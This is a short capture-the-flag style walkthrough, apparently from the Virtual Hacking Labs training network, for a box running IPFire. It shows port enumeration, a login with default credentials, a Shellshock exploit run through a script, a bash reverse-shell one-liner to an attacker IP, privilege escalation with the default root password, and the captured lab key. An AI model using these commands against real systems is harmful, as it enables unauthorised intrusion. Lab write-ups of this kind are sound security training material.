FW01 — VHL (10.11.1.200)

53/tcp open domain dnsmasq 2.71

#virtual hacking labs#vhl#walkthrough#boxes#os:linux

FW01 — VHL (10.11.1.200)

Port Enumeration (10.11.1.200)

🐺 howlsec@kalishell

$53/tcp  open  domain    dnsmasq 2.71
$81/tcp  open  http      Apache 2.2.27 - IPFire admin (Basic realm "IPFire - Restricted")
$444/tcp open  ssl/http  Apache 2.2.27 (redirect from 81)

Foothold: IPFire default creds + Shellshock (SIPS.py)

Web admin on 81/444 accepts default credentials admin:admin. IPFire 2.15 (i586) Core Update 82 is vulnerable to Shellshock via the authenticated CGI (heartburn-dev SIPS.py):

🐺 howlsec@kalishell

$python3 SIPS.py 10.11.1.200 444 /cgi-bin/index.cgi admin admin 'whoami'   # -> nobody
$python3 SIPS.py 10.11.1.200 444 /cgi-bin/index.cgi admin admin 'bash -i >& /dev/tcp/172.16.1.1/443 0>&1'

Privesc: default root password

🐺 howlsec@kalishell

$python -c 'import pty; pty.spawn("/bin/bash")'
$su root    # password: root  -> root shell
$cat /root/key.txt   # z2pap8s3f7jqeg59cb6f